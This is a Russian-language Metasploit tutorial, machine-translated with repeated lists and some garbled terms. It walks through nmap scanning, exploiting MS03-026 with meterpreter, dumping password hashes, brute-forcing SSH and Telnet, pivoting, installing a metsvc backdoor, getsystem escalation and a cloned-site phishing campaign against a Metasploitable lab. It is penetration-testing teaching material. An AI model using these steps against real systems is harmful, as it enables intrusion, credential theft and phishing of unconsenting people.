Область Консоль предоставляет вид для папок. Просто нажав на нее, вы можете напрямую перейти к папкам без использования каких-либо команд Metasploit.

Область Модули – это раздел, в котором перечислены модули уязвимостей.

Metasploit – Pro Console

Pro Console – это коммерческая консольная версия Metasploit. Он доступен для Linux, Microsoft OS и OSX. Metasploit Pro может помочь тестерам проникновения:

  • Используйте проект с открытым исходным кодом Metasploit и его ведущую библиотеку эксплойтов.

  • Управление данными в больших оценках

  • Управляйте взломанными машинами и захватывайте сеть

  • Автоматически создавать отчеты, содержащие ключевые выводы

  • Улучшение безопасности путем определения приоритетов уязвимостей

  • Доказать эффективность корректирующих или компенсирующих мер контроля аудиторам

  • Получите полную информацию о рисках пользователей, интегрировавшись с Rapid7 UserInsight

  • Проверьте эффективность контроля безопасности

  • Имитация фишинговых кампаний для тысяч пользователей

Используйте проект с открытым исходным кодом Metasploit и его ведущую библиотеку эксплойтов.

Управление данными в больших оценках

Управляйте взломанными машинами и захватывайте сеть

Автоматически создавать отчеты, содержащие ключевые выводы

Улучшение безопасности путем определения приоритетов уязвимостей

Доказать эффективность корректирующих или компенсирующих мер контроля аудиторам

Получите полную информацию о рисках пользователей, интегрировавшись с Rapid7 UserInsight

Проверьте эффективность контроля безопасности

Имитация фишинговых кампаний для тысяч пользователей

Metasploit Pro предлагает командную строку и веб-интерфейс.

Чтобы использовать Metasploit Pro, вам необходимо приобрести его у Rapid7 и установить в своей системе. В среде Windows, чтобы запустить Metasploit Pro, выберите: Пуск → Все программы → Metasploit → Консоль Metasploit.

Metasploit Pro

Если вы работаете в среде Linux, откройте терминал командной строки и введите sudo msfpro .

sudo msfpro

Metasploit – уязвимая цель

Уязвимой целью является машина или устройство с незащищенной дырой в безопасности. Это делает хост уязвимым, что является целью в этом случае.

Для тестирования Rapid7 создал машину с множеством уязвимостей. Имейте в виду, что вам не разрешено проникать на любое устройство без разрешения. Следовательно, вам нужно скачать metasploitable, который является машиной Linux.

Metasploitable можно загрузить с – www.information.rapid7.com/

Скачать Metasploitable

Заполните форму, чтобы зарегистрироваться. Далее вы получите следующий экран с прямой ссылкой для загрузки Metasploitable.

регистр

Затем откройте Менеджер VirtualBox и перейдите в «Машина» → «Создать».

VirtualBox Manager

Нажмите «Использовать существующий файл виртуального жесткого диска» и перейдите в папку, в которую вы загрузили Metasploitable. Нажмите « Открыть» .

Нажмите Открыть

На следующем экране нажмите « Создать» .

Нажмите Создать

Теперь вы можете войти в Metasploitable, используя имя пользователя по умолчанию : msfadmin и пароль: msfadmin .

Metasploitable Логин

Metasploit – Discovery Scans

Первая фаза проникновения включает в себя сканирование сети или хоста для сбора информации и создания обзора целевой машины.

Discovery Scan в основном создает список IP-адресов в целевой сети, обнаруживая службы, работающие на компьютерах. Чтобы сделать это в Metasploit, мы будем использовать командную строку, являющуюся командами NMAP, включенными в Metasploit. Для получения дополнительной информации о NMAP и его командах перейдите по ссылке https://nmap.org/.

Теперь посмотрим на практике, как это работает. Мы запустили целевой компьютер (Metasploitable) и компьютер с Windows Server 2003 с IP-адресом 192.168.1.101 .

Metasploitable

Далее мы запустим Metasploit. Здесь мы используем Kali Linux. Следовательно, команды всегда будут начинаться с nmap .

Давайте начнем сканировать сеть с диапазоном 192.168.0.0/24 и обнаружить машины.

Откройте для себя машины

Как видно на скриншоте выше, в сети 5 хостов с подробностями. Теперь, когда мы нашли живые хосты, мы попытаемся найти ОС, на которой они работают, и их фоновые службы.

Мы попытаемся атаковать уязвимую машину с IP 192.168.1.101. Для этого мы запустим следующую команду –

Nmap –sV-O –T4 192.168.1.101

Вот,

  • – Параметр sV будет определять службы с указанием их версии.

  • O – определить версию ОС, которая в нашем случае – Linux 2.6.X

  • T4 – время окончания сканирования

– Параметр sV будет определять службы с указанием их версии.

O – определить версию ОС, которая в нашем случае – Linux 2.6.X

T4 – время окончания сканирования

Вы получите следующий экран как результат использования вышеуказанной команды.

Результат команды

Metasploit – Цепочки задач

Цепочки задач – это функция в версии Metasploit Pro, которая помогает нам планировать задачи и выполнять их. Обычно он используется для процессов, которые периодически запускаются, например, для сканирования сети.

Чтобы настроить задачу, перейдем к Задачам → Цепочки → Новая цепочка задач.

Цепочки задач

Укажите имя для цепочки задач.

Название цепочки задач

Затем нажмите знак «+», как показано на следующем снимке экрана.

Нажмите плюс знак

Выберите из списка задачу, которую вы хотите выбрать. Давайте выберем SCAN.

Выберите SCAN

Далее настройки задачи конфигурации появятся, как показано ниже.

Настройка задачи настройки

Давайте добавим задачу в цепочку задач, которая является функцией, которую сервер должен выполнять после завершения первой задачи. Чтобы запланировать задачу, нажмите значок «Расписание сейчас».

Расписание задачи

Следующая таблица будет отображаться, где вы можете выбрать, как часто вы хотите запустить задачу.

Запустить задачу

В конце нажмите кнопку Сохранить, чтобы запланировать цепочку задач.

Нажмите кнопку Сохранить

Metasploit – Импорт данных

Metasploit – это мощная инфраструктура безопасности, которая позволяет импортировать результаты сканирования из других сторонних инструментов. Вы можете импортировать результаты сканирования NMAP в формате XML, который вы могли создать ранее. Metasploit также позволяет импортировать результаты сканирования из Nessus , который является сканером уязвимостей.

Посмотрим, как это работает. Сначала выполните сканирование NMAP и сохраните результат в формате XML на рабочем столе, как показано на следующем снимке экрана.

Выполнить сканирование NMAP

Затем откройте Metasploit или Armitage, чтобы импортировать результаты сканирования. После этого используйте следующую команду для импорта всего хоста.

Msf > db_import "path of xml file"  

На следующем снимке экрана показано, как будет выглядеть вывод.

Выход

Чтобы проверить, был ли файл импорта корректным или нет, мы можем запустить конкретные команды на этих двух хостах и ​​посмотреть, как они реагируют. Например, в нашем случае мы перечислили все хосты, на которых работает порт 445.

Тестовый файл импорта

Metasploit – сканирование уязвимостей

Уязвимость – это системная дыра, которую можно использовать для получения несанкционированного доступа к конфиденциальным данным или внедрения вредоносного кода. Metasploit, как и все другие приложения безопасности, имеет сканер уязвимостей, который доступен в его коммерческой версии.

С помощью сканера уязвимостей вы можете выполнять практически все работы с одним приложением. Эта возможность отсутствует в бесплатной версии Metasploit. Если вы используете бесплатную версию Metasploit, то вам придется использовать сканер уязвимостей Nessus, а затем импортировать результаты оттуда. Metasploit использует Nexpose для сканирования.

Давайте посмотрим, как сканировать с помощью Nexpose в Pro версии Metasploit.

Сначала добавьте консоль Nexpose в веб-интерфейс Metasploit. Для этого перейдите: Администрирование → Глобальные настройки → Консоль Nexpose → Настройка консоли Nexpose.

Настроить Nexpose Console

Введите IP-адрес сервера, на котором установлен Nexpose. Далее введите номер порта, имя пользователя и пароль. Выберите включить .

Выберите Включить

Затем нажмите кнопку Netexpose → добавьте IP-адрес сканируемого хоста или сети → выберите шаблон сканирования. Это инициирует процесс сканирования.

Нажмите Netexpose

Чтобы просмотреть результат сканирования, перейдите в Анализ → Хост.

Metasploit – проверка уязвимости

В этой главе мы узнаем, как проверять уязвимости, обнаруженные нами на сканерах уязвимостей, таких как Nexpose. Этот процесс также известен как анализ уязвимости .

Как показано на следующем снимке экрана, сканер уязвимостей иногда может дать вам сотни уязвимостей. В таком случае может потребоваться много времени для проверки каждой уязвимости.

Анализ уязвимостей

Metasploit Pro имеет функцию под названием « Проверка уязвимостей», которая помогает сэкономить время за счет автоматической проверки уязвимостей и дает обзор наиболее важных уязвимостей, которые могут быть очень вредными для вашей системы. Также имеется возможность классифицировать уязвимости в соответствии с их серьезностью.

Давайте посмотрим, как вы можете использовать эту опцию. Откройте веб-консоль Metasploit Pro → Проект → Проверка уязвимости.

Проверка уязвимости

Затем введите Имя проекта и предоставьте простое описание проекта. Затем нажмите кнопку Пуск .

Нажмите кнопку Пуск

Нажмите «Вытащить из Nexpose». Выберите «Импортировать существующие данные уязвимости Nexpose», как показано на следующем снимке экрана.

Вытащить из Nexpose

Нажмите Тег → Автоматически пометить по ОС. Это отделит уязвимости для вас.

Нажмите тег

Затем перейдите в Exploit → Sessions и отметьте опцию «Очистить сессии, когда закончите». Это означает, что когда уязвимость будет проверена, будет взаимодействие между машиной Metasploit и уязвимой машиной.

Проверьте уязвимость

Нажмите Создать отчет → Пуск .

Нажмите Создать отчет

Далее вы увидите мастера проверки. Здесь вам нужно нажать кнопку Подтвердить .

Подтвердить

Вы получите следующий экран после того, как пройдете весь список протестированных уязвимостей.

Проверены уязвимости

Чтобы увидеть результаты протестированных уязвимостей, перейдите в раздел Домашняя страница → Имя проекта → Уязвимости.

Результат уязвимостей

Metasploit – Эксплойт

После сканирования и проверки уязвимостей мы должны запустить и протестировать некоторые сценарии (называемые эксплойтами ), чтобы получить доступ к компьютеру и сделать то, что мы планируем делать.

Эксплойт с использованием Armitage GUI

У нас есть несколько способов использовать эксплойты. Первый и самый главный метод – использовать графический интерфейс Armitage, который будет подключаться к Metasploit для выполнения автоматического тестирования эксплойтов HAIL MARY. Посмотрим, как это работает.

Откройте дистрибутив Kali → Приложение → Инструменты для эксплойтов → Armitage.

Открытая Кали

Затем перейдите в раздел «Атаки» → «Радуйся, Мария» и нажмите «Да».

Нажмите Да

Вы увидите следующий экран, который покажет все эксплойты, которые тестируются.

Тестовые эксплойты

Далее вы увидите значок эксплуатируемой системы (то есть системы, в которой работал эксплойт), которая станет красной в цвете с узором грозы над ним. На консоли вы увидите, какой эксплойт был успешным, с соответствующим идентификатором сеанса.

Эксплуатируемая система

Теперь вы можете взаимодействовать с машиной.

Эксплойт с использованием командной строки

Второй способ (и, возможно, немного профессиональный) использовать эксплойт – это командная строка.

С помощью сканера уязвимостей мы обнаружили, что машина Linux, которую мы тестируем, уязвима для службы FTP. Теперь мы будем использовать эксплойт, который может работать на нас. Команда –

msf > use “exploit path”  

использовать

Затем, используйте следующую команду, чтобы увидеть, какие параметры вы должны установить, чтобы сделать ее функциональной.

msf > show options

Этот эксплойт показывает, что мы должны установить RHOST «целевой IP»

Целевой IP

Далее используйте команды –

msf > set RHOST 192.168.1.101   
msf > set RPORT 21

Используйте команды

Далее используйте команду –

msf > run

Если эксплойт успешен, вы увидите одну открытую сессию, как показано на следующем снимке экрана.

Эксплойт Успешный

Теперь вы можете взаимодействовать с этой системой.

Metasploit – Полезная нагрузка

Простая информация – это простые сценарии, которые хакеры используют для взаимодействия со взломанной системой. Используя полезные данные, они могут передавать данные в систему-жертву.

Полезные нагрузки Metasploit могут быть трех типов:

  • Одиночные игры – Одиночные игры очень маленькие и предназначены для того, чтобы создать какое-то общение, а затем перейти на следующий этап. Например, просто создать пользователя.

  • Этап – это полезная нагрузка, которую злоумышленник может использовать для загрузки файла большего размера в систему жертвы.

  • Этапы – Этапы являются компонентами полезной нагрузки, которые загружаются модулями Stagers. Различные стадии полезной нагрузки предоставляют расширенные функции без ограничений по размеру, такие как Meterpreter и VNC Injection.

Одиночные игры – Одиночные игры очень маленькие и предназначены для того, чтобы создать какое-то общение, а затем перейти на следующий этап. Например, просто создать пользователя.

Этап – это полезная нагрузка, которую злоумышленник может использовать для загрузки файла большего размера в систему жертвы.

Этапы – Этапы являются компонентами полезной нагрузки, которые загружаются модулями Stagers. Различные стадии полезной нагрузки предоставляют расширенные функции без ограничений по размеру, такие как Meterpreter и VNC Injection.

пример

Давайте рассмотрим пример, чтобы понять использование полезных нагрузок Metasploit. Предположим, у нас есть компьютер с Windows Server 2003, который уязвим для DCOM MS03-026.

Сначала мы будем искать эксплойт, который может работать с этой уязвимостью. Мы будем использовать эксплойт с лучшим рангами .

РАНГ

Далее мы будем использовать следующую команду, чтобы увидеть, какую полезную нагрузку мы можем использовать с этим эксплойтом.

msf > show payloads

и вижу, что я могу использовать полезные нагрузки, которые помогут мне загружать / выполнять файлы, чтобы сделать жертву сервером VNC для просмотра.

VNC сервер

Приведенная выше команда покажет полезную нагрузку, которая поможет нам загрузить / выполнить файлы в систему жертвы.

Загрузить / выполнить файлы

Чтобы установить полезную нагрузку, которую мы хотим, мы будем использовать следующую команду –

set PAYLOAD payload/path

Установите хост прослушивания и порт прослушивания (LHOST, LPORT), которые являются IP-адресом и портом атакующего . Затем установите удаленный хост и порт (RPORT, LHOST), которые являются IP-адресом жертвы и портом .

Атакующий IP

Типа «эксплойт». Это создаст сеанс, как показано ниже –

Тип Эксплойт

Теперь мы можем играть с машиной в соответствии с настройками, которые предлагает эта полезная нагрузка.

Metasploit – Credential

После получения доступа к компьютеру важно получить всю конфиденциальную информацию, такую ​​как имена пользователей и пароли. Вы также можете выполнить эту операцию для целей аудита, чтобы проанализировать, используют ли системы в вашей организации надежные пароли или нет.

В Windows пароли хранятся в зашифрованном виде, который называется NTLM-хэш . В ОС Windows вы всегда должны искать пользователя с номером 500, который означает, что пользователь является суперпользователем .

Суперпользователь

В бесплатной версии Metasploit учетные данные должны быть сохранены в текстовом файле или в базе данных Metasploit.

пример

Давайте использовать сценарий, который мы использовали в предыдущей главе. Предположим, у нас есть компьютер с Windows Server 2003, который уязвим для DCOM MS03-026. Мы получили доступ к этой системе и вставили полезную нагрузку meterpreter .

Командой, обычно используемой в meterpreter, является hashdump, в котором будут перечислены все имена пользователей и пароли.

Hashdump

Вы также можете использовать Armitage для получения этой информации, как показано на следующем снимке экрана.

Используйте Armitage

Коммерческое издание Metasploit имеет отдельный сеанс, называемый Credential, который позволяет собирать, хранить и повторно использовать учетные данные. Давайте посмотрим, как это сделать.

Чтобы собрать конфиденциальные данные, сначала перейдите по ссылке: Главная страница → Имя проекта → Сессии.

мандат

Нажмите на активную сессию.

Нажмите Активный сеанс

Далее нажмите « Сбор системных данных» . Он будет собирать все хеши и пароли.

Сбор системных данных

Вы увидите экран следующим образом:

экран

Чтобы просмотреть собранные учетные данные, перейдите в раздел Домашняя страница → Имя проекта → Учетные данные → Управление.

управлять

Как показано на следующем снимке экрана, вы увидите все полученные пароли и те, которые могут быть взломаны.

Пароли

Metasploit – Атаки грубой силы

При атаке методом грубой силы хакер автоматически использует все возможные комбинации букв, цифр, специальных символов, маленьких и заглавных букв для получения доступа через хост или службу. Этот тип атаки имеет высокую вероятность успеха, но для обработки всех комбинаций требуется огромное количество времени.

Атака грубой силой является медленной, и хакеру может потребоваться система с высокой вычислительной мощностью, чтобы быстрее выполнять все эти перестановки и комбинации. В этой главе мы обсудим, как выполнить атаку методом грубой силы с использованием Metasploit.

После сканирования Metasploitable машины с NMAP, мы знаем, какие службы работают на нем. Сервисами являются FTP, SSH, mysql, http и Telnet.

Услуги Бег

Чтобы выполнить атаку грубой силой на эти сервисы, мы будем использовать вспомогательные функции каждого сервиса. Вспомогательные элементы – это небольшие скрипты, используемые в Metasploit, которые не создают оболочки на компьютере жертвы; они просто обеспечивают доступ к машине, если атака грубой силой прошла успешно. Давайте посмотрим, как использовать вспомогательные средства.

Здесь мы создали список словарей в корне компьютера распространения Kali.

Список словаря

Атакуйте службу FTP

Откройте Metasploit. Первым сервисом, который мы попытаемся атаковать, является FTP, а вспомогательный, который нам в этом помогает, это вспомогательный / scanner / ftp / ftp_login .

Введите следующую команду, чтобы использовать эту вспомогательную –

msf > use auxiliary/scanner/ftp/ftp_login

вспомогательный

Установите путь к файлу, который содержит наш словарь.

Установить путь

Установите IP жертвы и запустите.

Run Victim IP

Это даст следующий результат –

Выход IP жертвы

Как видите, он завершен, но сеанс не был создан. Это означает, что нам не удалось получить какое-либо полезное имя пользователя и пароль.

Атакуйте сервис SSH

Чтобы атаковать службу SSH, мы можем использовать вспомогательную: вспомогательный / сканер / ssh / ssh_login

Как вы можете видеть на следующем снимке экрана, мы установили для RHOSTS значение 192.168.1.101 (это IP-адрес жертвы), а также список имени пользователя и пароль (то есть userpass.txt). Затем мы применяем команду запуска .

Применить команду «Выполнить»

Как видно на скриншоте выше, было создано три сеанса. Это означает, что три комбинации были успешными. Мы подчеркнули имена пользователей.

Чтобы взаимодействовать с одним из трех сеансов, мы используем команду msf> сеансы –i 3, что означает, что мы подключимся к сеансу № 3.

Интерактивные сессии

Атакуйте службу Telnet

Применив атаку методом грубой силы на службу Telnet, мы возьмем предоставленный набор учетных данных и диапазон IP-адресов и попытаемся войти на любые серверы Telnet. Для этого мы будем использовать вспомогательное: вспомогательное / сканер / telnet / telnet_login .

Процесс использования вспомогательного устройства такой же, как и в случае атаки на службу FTP или службу SSH. Мы должны использовать вспомогательное средство, установить RHOST, затем установить список паролей и запустить его.

Посмотрите на следующий скриншот. Синей стрелкой выделены неправильные попытки, которые делала вспомогательная. Красные стрелки показывают успешные входы в систему, которые создали сеансы.

Созданные сессии

Некоторые другие вспомогательные средства, которые вы можете применить в атаке грубой силой:

  • Сервис SMB – вспомогательный / сканер / smb / smb_login

  • Служба SNMP – вспомогательная / сканер / snmp / snmp_login

Сервис SMB – вспомогательный / сканер / smb / smb_login

Служба SNMP – вспомогательная / сканер / snmp / snmp_login

Metasploit – поворот

Pivoting – это метод, который Metasploit использует для маршрутизации трафика от взломанного компьютера к другим сетям, которые не доступны хакерской машине.

Давайте рассмотрим сценарий, чтобы понять, как работает Pivoting. Предположим, у нас есть две сети –

  • Сеть с диапазоном 192.168.1.0/24, где хакерский компьютер имеет доступ, и

  • Еще одна сеть с диапазоном 10.10.10.0/24. Это внутренняя сеть, и хакер не имеет к ней доступа.

Сеть с диапазоном 192.168.1.0/24, где хакерский компьютер имеет доступ, и

Еще одна сеть с диапазоном 10.10.10.0/24. Это внутренняя сеть, и хакер не имеет к ней доступа.

Хакер попытается взломать вторую сеть, эту машину, у которой есть доступ в обеих сетях, чтобы использовать и взломать другие внутренние машины.

В этом сценарии хакер сначала взломает первую сеть, а затем использует ее в качестве промежуточной точки для взлома и взлома внутренних компьютеров второй сети. Этот процесс известен как поворот, поскольку хакер использует первую сеть в качестве центра для получения доступа во вторую сеть.

Поворотная

Давайте попробуем понять, как это работает. Мы возьмем систему Windows Server 2003 с уязвимостью DCOM и будем использовать эту уязвимость для взлома этой системы.

Уязвимость DCOM

Для этого будет использоваться ms03_026_dcom, и мы будем использовать полезную нагрузку meterpreter .

Meterpreter

Теперь, когда мы получили доступ к этой системе, давайте взаимодействуем с сеансом с помощью команды session -i 1, где «1» – это номер сеанса, который был создан.

сессия

Теперь давайте воспользуемся командой ipconfig, чтобы выяснить, есть ли у этого хоста доступ к другим сетям. Следующий скриншот показывает результат. Вы можете заметить, что этот хост связан с двумя другими сетями –

  • одна представляет собой сеть с обратной связью, которая бесполезна, и
  • другая сеть – 10.10.10.0/24, которую мы исследуем.

IPConfig

В Metasploit есть скрипт-метра AutoRoute, который позволит нам атаковать эту вторую сеть через нашу первую скомпрометированную машину, но сначала мы должны выполнить фоновую сессию.

Фон

Добавление маршрута к внутренней сети с диапазоном 10.10.10.0/24

Добавление маршрута

Теперь, когда у нас есть маршрут трафика (Pivot), мы можем попытаться просканировать хост, найденный в этой сети.

стержень

Мы сделали сканирование порта на хосте 10.10.10.102. На следующем скриншоте показан результат.

Сканирование портов

Теперь мы получили доступ к внутренней сети. Однако, если вы потеряете сеанс взломанной машины, вы потеряете и доступ к внутренней сети.

Metasploit – Поддержание доступа

В этой главе мы обсудим, как сохранить доступ в системе, к которой мы получили доступ. Это важно, потому что если мы не поддерживаем доступ, то нам придется попытаться использовать его с самого начала в случае, если взломанная система закрыта или исправлена.

Лучший способ – установить черный ход . Для взломанной машины Windows Server 2003, которую мы использовали в предыдущей главе, мы установили полезную нагрузку meterpreter, и у этой полезной нагрузки есть опция backdoor, называемая metsvc . Мы можем использовать эту опцию backdoor, чтобы получить доступ к компьютеру жертвы, когда захотим, но этот backdoor сопряжен с риском, что каждый может подключиться к этому сеансу без аутентификации.

Давайте разберемся, как это работает на практике. Мы находимся на этапе, когда мы использовали компьютер под управлением Windows Server 2003 и установили полезную нагрузку meterpreter . Теперь мы хотим увидеть процессы, которые работают на этом компьютере, и скрыть наш процесс за подлинным процессом.

Введите “ps” в сеансе meterpreter, чтобы увидеть процессы-жертвы.

Meterpreter Session

Нам нравится скрывать наш процесс за explorer.exe, потому что это процесс, который запускается при запуске и всегда присутствует. Для этого используйте команду: «перенести номер PID», как показано на следующем снимке экрана.

Перенос номера PID

Чтобы установить бэкдор, введите run metsvc . Во время работы вы увидите созданный порт и каталог, в который загружаются файлы.

Запустите Metsvc

Чтобы соединиться с этим бэкдором, нам нужен multi / handler с полезной нагрузкой windows / metsvc_bind_tcp .

соединять

Metasploit – Повышение привилегий

После того, как мы использовали и получили доступ к системе-жертве, следующим шагом будет получение прав администратора или root-прав. Как только мы получаем эту привилегию, становится очень просто устанавливать, удалять или редактировать любой файл или процесс.

Давайте продолжим с тем же сценарием, когда мы взломали систему Windows Server 2003 и установили измеритель полезной нагрузки.

Meterpreter использует команду getsystem для повышения привилегий. Но сначала мы должны использовать команду «priv», чтобы подготовить взломанную систему к повышению привилегий.

Затем запустите команду getsystem.

Запустить систему

Как видите, мы на самом деле вошли как администратор.

Metasploit – MetaModules

Мета-модули – это сложные и автоматизированные задачи безопасности, предназначенные для того, чтобы помочь отделам безопасности выполнять свою работу более эффективно, например, тестирование открытых и закрытых портов брандмауэра, тестирование учетных данных по умолчанию и т. Д.

МетаМодули – это новые функции, представленные в Metasploit Pro (коммерческая версия). Следует помнить, что метамодуль с лучшим рейтингом звезд даст вам лучшие результаты.

Чтобы открыть MetaModules, перейдите в раздел Домашняя страница → Имя проекта → Модули → MetaModules.

идти домой

Как видите, у нас есть шесть метамодулей для удовлетворения различных требований.

Шесть метамодулей

Сегментация и межсетевой экран

Этот метамодуль выполняет полное сканирование Nmap SYN на внешнем сервере, размещенном на Rapid7, который выступает в качестве выходной цели сканирования. Используйте этот метамодуль для обнаружения исходящих портов в брандмауэре, которые злоумышленник может использовать для фильтрации информации. Вам нужно будет указать порты и протоколы, которые вы хотите проверять.

Чтобы запустить этот метамодуль, нажмите кнопку « Запустить» и следуйте инструкциям там. Он покажет вам отчет об открытых, закрытых и отфильтрованных портах, как показано на следующем снимке экрана.

Сегментация

Полномочия Домино

Этот метамодуль использует действительный вход в систему или активный сеанс для выполнения итеративной атаки учетных данных, которая собирает учетные данные с скомпрометированных хостов. Он использует собранные учетные данные для определения других возможных маршрутов атаки. Этот метамодуль работает до тех пор, пока не попробует все учетные данные или не достигнет условия завершения.

Чтобы запустить этот метамодуль, нажмите кнопку « Запуск» на начальном экране. Он создаст следующий снимок экрана, на котором вы должны выбрать HOST IP и учетные данные для входа.

Полномочия Домино

Если введенные вами учетные данные верны, то это даст следующий результат.

полномочия

Тестирование ключа SSH

Этот MetaModule пытается войти в системы с восстановленным ключом SSH. Он записывает результаты успеха и неудач для каждого сервиса. Вам нужно будет указать имя пользователя, имя файла ключа SSH и диапазон хостов, которые вы хотите.

Чтобы запустить этот метамодуль, нажмите « Запустить» на начальном экране. Появится следующий экран.

Тестирование ключа SSH

Введите учетные данные и нажмите кнопку запуска .

Введите учетные данные

Обнаружение пассивной сети

Этот метамодуль предназначен для отслеживания трафика для обнаружения хостов и сервисов в локальной сети. Поскольку он не отправляет никаких пакетов, вы можете запустить это приложение для скрытого сканирования сетевых обнаружений и определения любых хостов, служб и учетных данных в виде открытого текста.

Чтобы запустить этот метамодуль, нажмите кнопку « Запуск» на начальном экране. Появится следующий экран.

Обнаружение пассивной сети

Выберите сетевой интерфейс (как правило, они обнаруживаются автоматически). Нажмите Фильтры . После этого проверьте все протоколы, которые вы хотите контролировать. В этом случае мы проверили только HTTP.

Сетевой интерфейс

Вы получите следующий экран с захваченными данными и пакетами. Если какой-либо IP-адрес или учетные данные найдены, они также будут отображены.

IP

Metasploit – Социальная инженерия

Социальная инженерия может быть широко определена как процесс извлечения конфиденциальной информации (такой как имена пользователей и пароли) с помощью трюка. Хакеры иногда используют поддельные веб-сайты и фишинговые атаки для этой цели. Давайте попробуем понять концепцию атак социальной инженерии на нескольких примерах.

Пример 1

Вы, должно быть, заметили, что старые документы компании выбрасываются в мусорные баки как мусор. Эти документы могут содержать конфиденциальную информацию, такую ​​как имена, номера телефонов, номера счетов, номера социального страхования, адреса и т. Д. Многие компании по-прежнему используют копировальную бумагу в своих факсимильных аппаратах, и после завершения сворачивания ее углерод попадает в мусорный ящик, в котором могут быть следы конфиденциальных данных. Хотя это звучит невероятно, но злоумышленники могут легко получить информацию из мусорных контейнеров компании путем кражи через мусор.

Пример 2

Злоумышленник может подружиться с персоналом компании и установить с ним хорошие отношения в течение определенного периода времени. Эти отношения могут быть установлены в Интернете через социальные сети, чаты или в автономном режиме за журнальным столиком, на игровой площадке или с помощью любых других средств. Злоумышленник уверенно берет сотрудников офиса и, наконец, находит необходимую конфиденциальную информацию, не давая подсказки.

Пример 3

Социальный инженер может притвориться сотрудником, действительным пользователем или VIP-персоной, подделав удостоверение личности или просто убедив сотрудников в его должности в компании. Такой злоумышленник может получить физический доступ к закрытым областям, что открывает дополнительные возможности для атак.

Пример 4

В большинстве случаев случается так, что злоумышленник может находиться рядом с вами и может заниматься серфингом, когда вы вводите конфиденциальную информацию, такую ​​как идентификатор пользователя и пароль, PIN-код учетной записи и т. Д.

Атака социальной инженерии в Metasploit

В этом разделе мы обсудим, как вы можете инициировать атаку социальной инженерии с помощью Metasploit.

Прежде всего, перейдите на домашнюю страницу Metasploit и нажмите « Фишинговая кампания» , как показано на следующем снимке экрана.

Фишинговая кампания

Введите название проекта и нажмите Далее.

проект

Введите название кампании. В нашем случае это лаборатория . Далее щелкните значок электронной почты в разделе « Компоненты кампании» .

Компоненты кампании

На следующем экране вам необходимо указать запрошенные данные в соответствии с вашей кампанией.

Поставка

Затем нажмите значок « Содержимое» (номер 2), если вы хотите что-либо изменить в содержании письма. После изменения содержимого нажмите Сохранить .

Значок содержимого

Затем щелкните значок целевой страницы, чтобы задать URL-адреса, по которым вы хотите перенаправить обманутых пользователей.

Целевая страница

Как показано на следующем снимке экрана, введите URL-адрес в поле « Путь» и нажмите « Далее» .

Дорожка

На следующем экране нажмите кнопку Clone Website, которая откроет другое окно. Здесь вам необходимо ввести сайт, который вы хотите клонировать. Как вы можете видеть на следующем скриншоте, мы ввели tutorialpoint.com в это поле. Далее нажмите кнопку « Клонировать» и сохраните изменения.

Клон веб-сайт

Далее нажмите кнопку « Перенаправить страницу» .

Страница перенаправления

Нажмите Next, и вы увидите следующий экран.

Нажмите кнопку "Далее

Вы можете нажать кнопку « Клонировать веб-сайт» , чтобы снова клонировать перенаправленный веб-сайт.

Веб-сайт

Далее в разделе « Конфигурация сервера » нажмите кнопку « Сервер электронной почты» .

Конфигурация сервера

На следующем экране введите настройки почтового сервера, которые будут использоваться в качестве ретранслятора для отправки этого фишингового электронного письма. Затем нажмите Сохранить .

Настройки почтового сервера

В разделе Уведомления есть возможность уведомить других перед запуском кампании . Вы можете использовать эту опцию, чтобы уведомить других. Затем нажмите Сохранить .

уведомление

Далее вы увидите новое окно. Здесь вам нужно нажать кнопку « Пуск» , чтобы начать процесс отправки фишинговых писем.

Кнопка Пуск

Metasploit имеет опции для создания статистического отчета о вашей фишинг-кампании. Он появится, как показано на следующем скриншоте.

Статистический отчет

Metasploit – Экспорт данных

В этой главе мы увидим, как экспортировать данные, которые, в некотором смысле, являются резервной копией ваших проектов. Позже вы можете импортировать эту резервную копию в другой проект Metasploit.

Эта функция «Экспорт данных» доступна как в бесплатной версии, так и в коммерческой версии Metasploit.

Если вы хотите экспортировать данные из Metasploit Pro, тогда он сохранит копию файла в папке «/ path / to / Metasploit / apps / pro / exports».

Экспорт данных

Файлы, хранящиеся в этом каталоге, будут соответствовать списку экспорта, отображаемому в веб-интерфейсе. Вы можете найти и просмотреть журнал экспорта в следующем каталоге: «/ path / to / Metasploit / apps / pro / ui / log». Журнал экспорта называется «exports.log».

Просмотр журнала экспорта

Чтобы очистить журнал экспорта, вам необходимо удалить его из каталога журналов, который находится по адресу «/ path / to / Metasploit / apps / pro / ui / log».

Экспорт данных в Metasploit Pro

Чтобы экспортировать данные, перейдите в раздел Домашняя страница → Имя проекта → Экспорт → Экспорт данных .

Экспорт данных

На следующем экране вы можете выбрать формат файла, в котором вы хотите сохранить данные экспорта.

  • PWDump – текстовый файл, который содержит все учетные данные для проекта, включая незашифрованные пароли, хэши SMB и ключи SSH. Учетные данные могут быть замаскированы только для перечисления имен пользователей.

  • Сценарий воспроизведения. Пакетный файл, который повторно запускает задачи, открывающие сеансы на целевых хостах. Сценарий воспроизведения состоит из нескольких файлов ресурсов (.rc).

  • XML – XML-файл, который содержит атрибуты для большинства объектов в проекте и может быть импортирован в другой проект.

  • ZIP Workplace – ZIP-архив, содержащий экспорт XML и все файлы лута, файлы отчетов и журналы задач.

PWDump – текстовый файл, который содержит все учетные данные для проекта, включая незашифрованные пароли, хэши SMB и ключи SSH. Учетные данные могут быть замаскированы только для перечисления имен пользователей.

Сценарий воспроизведения. Пакетный файл, который повторно запускает задачи, открывающие сеансы на целевых хостах. Сценарий воспроизведения состоит из нескольких файлов ресурсов (.rc).

XML – XML-файл, который содержит атрибуты для большинства объектов в проекте и может быть импортирован в другой проект.

ZIP Workplace – ZIP-архив, содержащий экспорт XML и все файлы лута, файлы отчетов и журналы задач.

Формат файла

В поле «Тип экспорта» введите имя файла для данных экспорта. Затем в настройках адреса введите IP-адрес хостов.

Затем, в разделе « Параметры », вы можете скрыть свои учетные данные, установив флажок «Учетные данные маски» . Затем нажмите кнопку « Экспорт данных» .

Тип экспорта

Появится следующий экран, где вы можете увидеть экспортированный файл.

Экспортированный файл

Нажмите Загрузить, чтобы получить экспортированный файл.

Нажмите Загрузить

Metasploit – Отчеты

Metasploit имеет встроенные опции, которые вы можете использовать для создания отчетов, чтобы суммировать все ваши действия и выводы. В этой главе мы обсудим, как вы можете создавать отчеты в Metasploit.

Для создания отчетов в Metasploit выполните следующие действия:

Шаг 1 – Перейдите в раздел Домашняя страница → Отчеты → Новый отчет.

Шаг 2 – Выберите тип отчета в соответствии с вашими потребностями. Если вы нажмете «?» значок, он покажет вам информацию о каждом типе отчета.

